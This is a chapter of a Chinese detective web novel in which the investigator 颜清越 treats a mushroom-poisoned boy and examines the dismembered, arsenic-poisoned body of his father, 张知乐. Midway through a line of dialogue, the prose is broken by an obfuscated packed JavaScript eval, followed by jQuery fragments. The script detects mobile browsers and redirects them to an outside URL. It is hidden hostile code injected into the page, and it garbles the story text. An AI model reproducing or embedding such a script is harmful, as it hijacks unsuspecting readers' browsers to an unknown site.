159. 磔刑

作品:《女驸马探案录

    忙活了半个晚上,孩子的情况终于平稳了下来,颜清越这才松了口气。


    只是,她的表情依旧沉重。


    “你……张郎君。”


    张大郎见她叫自己,立即走近几步。


    “草民在。”


    颜清越斟酌了一二说道:“你弟弟的情况不太好。”


    张大郎怔愣了一瞬:“不是已经……”


    “只是保住性命,毒性太大,即使醒来,以后也会是个痴儿。”


    张大郎身体晃了晃,差点晕倒。


    颜清越不敢多看他。


    “你莫要想太多,这孩子的命至少是保住了。”


    张大郎也无可奈何,强笑一声。


    “您说的是,草民家里还算有些钱财,阿弟……也不会……不会吃太多苦。”


    话未说完,他还是忍不住眼泪。


    等他平复好心情,颜清越才问道:“这孩子是怎么中毒的。”


    张大郎稳住心神,回忆了许久。


    “昨日傍晚出了那么大的事,我们也没心情吃什么,但是阿弟还小总不能饿着,就让人熬了些鸡丝粥,加的菌子。”


    “那粥还有剩吗?”


    “有的有的,阿弟年纪小胃口也小,只吃了一碗。”


    “快让人拿来!”颜清越很是着急。


    千万不能让第二人误食!


    张大郎指了指外头:“昨日来的时候,我已经让人带上了。当时,我也是想着应该是那粥里有毒。”


    颜清越吐出一口气:“让人拿进来看看,我也好对症下药。”


    一个仆人端着一锅粥走了进来。


    那粥确实很香,即使已经冷掉了,都还闻得到鸡汤和菌菇的香气。


    颜清越拿起勺子在锅里搅了搅舀起一勺。


    粥米中一丝白色的菌子让她皱起眉。


    “绿伞菇,这东西有剧毒。你弟弟也算命大,捡回了一条命。”


    张大郎一听这话,对着吼道:“你们是怎么办事的!怎么会把有毒的东西混进小郎君的饮食里!”


    仆人被骂得不敢回话,只默默承受着。


    颜清越阻拦道:“我看这里面还有不少棉花菇,这绿伞菇和棉花菇长得极像,也确实容易混淆,他们应当也不是有意为之。”


    张大郎很是生气,也不好再说。


    事情已经这样了,再骂又能有什么用呢?


    “你先下去吧。”


    挥退了仆人,张大郎又对颜清越谢了又谢。


    “事发突然,若非郡主仗义援手,家弟定然早已命丧黄泉。”


    颜清越对他印象不错,态度也好上几分。


    “你不必多礼,这件事你还是先想想该怎么对你母亲说吧。”


    “母亲?”张大郎苦笑,“这确实是不好说。家弟的母亲若是知晓了……”


    家弟的母亲?


    “你们不是同母所生?”


    “是,先母去世多年了,家弟是父亲的续弦所生。她向来多疑,如今阿弟又出了这样的事,多半又要把事情算在我的头上了。”


    这是别人的家务事,颜清越总不好开口,她只能安慰道:“也别想太多,缓着些告诉她就是。”


    张大郎也自觉多嘴:“郡主说的是。草民就先带阿弟回去安置了。”


    “先别急……”


    “大郎!大郎!出事了!”


    颜清越的话被火急火燎闯入的仆人打断。


    那仆人一脸惊魂未定,双膝一软跪在地上。


    “大郎!阿郎……阿郎他……”


    “父亲怎么了?”张大郎被吓了一跳。


    仆人抽着气,浑身都在发抖,像是回忆起了什么极其可怕的事情。


    “阿郎他……被……杀了。”


    即使还未到门口,门内的血腥气就已经扑面而来,令人作呕。


    根据自己的经验,颜清越已经猜到张知乐的死定然非比寻常。


    她不由加快了脚步。


    一进门,就是一地的血。


    张大郎被吓得尖叫一声,跌坐在地上。


    他的目光直直盯着左侧的屏风,嘴巴大张着,发出“啊啊”的声音。


    那里挂着被分割开的躯体。


    两条腿,两只手臂,一个光秃秃的身躯和一个脑袋。


    屏风上的薄纱被血液侵透,让人看不清上面的图案。


    而在屏风之下,地面的血液汇聚成两行字。


    “万年县人士张知乐,侵吞兄弟家财,鬻卖嫂侄。彼之行径,与禽兽无异。阴司断其磔刑。”


    陆行的声音依旧四平八稳,却让现场更加一分诡异。


    那报信的仆人还站在外面,不敢进来。


    颜清越也不勉强,转身问道:“什么时候发现的?谁发现的尸体?”


    那仆人低垂着脑袋:“就今日一早,天刚亮的时候,夫人带着人过来的,一推开门就看见了……”


    “你们夫人呢?”


    “夫人吓得晕了过去,已经让人扶回院内了。”


    “他们夫妇二人没有住在一起?”


    “阿郎这几日一直睡得不好,就没和夫人同房。”


    颜清越看了一眼快要晕过去的张大郎,对着仆人吩咐道:“你先进来,把你们大郎扶出去。”


    “是。”


    颜清越挽起袖子,跨过鲜血写就的两行字,开始检查尸体的情况。


    “脖颈断掉的地方皮肉不紧缩,是被杀后分尸。至于死因……皮肤口唇发紫,双眼突出,是砒霜中毒。黑睛已经出现白色的小斑点,死亡时间大概是三个时辰前,也就是子时前后。”


    她拿起几个尸块,检查着伤口断处的情况。


    “有骨头碎片,凶手应该用的刀或者斧头将尸体砍开的,伤口的边缘很不规整,凶手并非是熟手。”


    陆行都被熏得有些受不了了,他放下手里的茶盏。


    “现场没有找到有砒霜的东西。”


    “应该是凶手带走了。”


    虽然血肉横飞,但是现场并没有打斗的痕迹,就连容易倒下的圆凳都好好放在桌前。


    还有那几行字……


    颜清越摇摇头,走出了房门。


    张大郎还算撑得住,在仆人的搀扶下,愣是没有晕倒。


    他一见二人出来就急忙问道:“郡主……我父亲……”


    “昨晚子时前后被害的。”


    张大郎倒抽一口凉气:“那岂不是我一离开,父亲就被人……”


    “你离开的时候?”


    张大郎胡乱点了两下头。


    “昨晚阿弟不适之时,一直是父亲在照顾。我听说后,为免父亲劳累就去帮忙了。当时阿弟的情况不严重,我将父亲送回来后,和他说了几句话才离开。”


    “是子时前后吗?”


    “是。再之后,阿弟忽然晕倒,我也不知这边的情况。”


    颜清越又对着仆人问道:“昨晚房外没有人守着吗?”


    “原本是有的,可之后小郎君出了事,家里就乱了……”


    “既然你们小郎君出了事,为何没有人去知会你们阿郎一声?”


    张大郎抢先回答:“是我让他们别去的。我想着阿弟的病情若是严重,父亲年纪大了,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289022|165310||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自然是要缓缓告诉他,免得他气急攻心。若是不严重就不必惊扰他。”


    “如此,你应该就是昨晚最后见过你父亲的人了。当时,他可有吃过什么喝过什么?”


    “喝了几口甘菊茶。”


    陆行说道:“房内没有甘菊茶。”


    张大郎愣了一下,喃喃着。


    “怎么会呢……我亲眼看见的。”


    颜清越继续问道:“房内的血字,你看见了吗?”


    张大郎一脸恍惚,眼神都是散的。


    “什么血字?”


    “万年县人士张知乐,侵吞兄弟家财,鬻卖嫂侄。彼之行径,与禽兽无异。阴司断其磔刑。你的父亲有兄弟吗?”


    张大郎面色一变,语气也不变得吞吞吐吐起来。


    “有个……哥哥。”


    颜清越直言问道:“这话属实吗?你父亲是不是真的侵吞了你伯父的家财还卖掉了自己的嫂嫂和侄子?”


    张大郎眼神躲避。


    “伯父去世的时候我才七八岁,都是十五年前的事情了,这话……我不敢相信。”


    是不敢相信,不是不信。


    “你还是将你伯父的事说清楚好一点。”


    张大郎迟疑了一二才说道:“伯父是病死的。病死后,我家就搬进了伯父家。没过多久,伯母就带着妹妹离开了。父亲说她们是不想呆在京城,拿着钱走了。”


    说着说着,他忽然一顿。


    “郡主,我伯母和堂妹都是良人,就算我父亲敢卖,谁敢买啊?”


    颜清越没有回答,只是转过头,看向房内。


    “夫君啊!”


    张知乐的夫人韩氏哭喊着跑了进来。


    她哭得悲伤哀戚,却直冲张大郎而去。


    “是不是害死了你父亲!”


    张大郎满脸厌恶,后退了一步。


    “韩夫人,请不要胡言乱语,昨晚我一直在照顾阿弟,后面还抱着阿弟去求医,郡主和肃王殿下都可为证!”


    昨晚,他一直在病床跟前,没有离开过片刻。


    韩夫人指着他的手抖了抖。


    “谁知道呢!只有你有动机杀你父亲!”


    张大郎深吸一口气:“我是家中长子,杀父亲做甚?”


    韩夫人哼笑一声。


    “当然是为了你父亲的家产!你就是怕你父亲将家产都留给二郎,所以才对你父亲痛下杀手。”她得意地扬扬眉,“我告诉你,晚了!你父亲已经立下了遗嘱,将所有的家产都交给你阿弟。”


    张大郎表情扭曲了一瞬。


    “不可能!”


    韩夫人昂着头:“等赵班主来了你就知道了。”


    话音刚落,赵迁就已经到了。


    韩夫人一见他,瞬间笑得十分灿烂。


    “赵班主,你终于来了!”她拉着赵迁,对着张大郎耀武扬威,“你告诉他,夫君是不是已经立下遗嘱,说要把遗产都给二郎!”


    赵迁为难地看了一眼张大郎,还是点了点头。


    “看吧!我就说了有遗嘱!”韩夫人腰杆越发直了。


    张大郎面色已经铁青。


    “赵班主,遗嘱呢?”


    赵迁轻叹一口气。


    “大郎……遗嘱就放在我家。我确实没有骗你,你……不要太过伤心。”


    张知乐这事儿做得实在是不地道。


    自己的长子,一分钱都没有,全给小儿子?


    “遗嘱?什么遗嘱?”


    李翱从外面阔步而入,一双狭长的眼睛满是阴狠。


    颜清越挑眉。


    哟,又来了一个。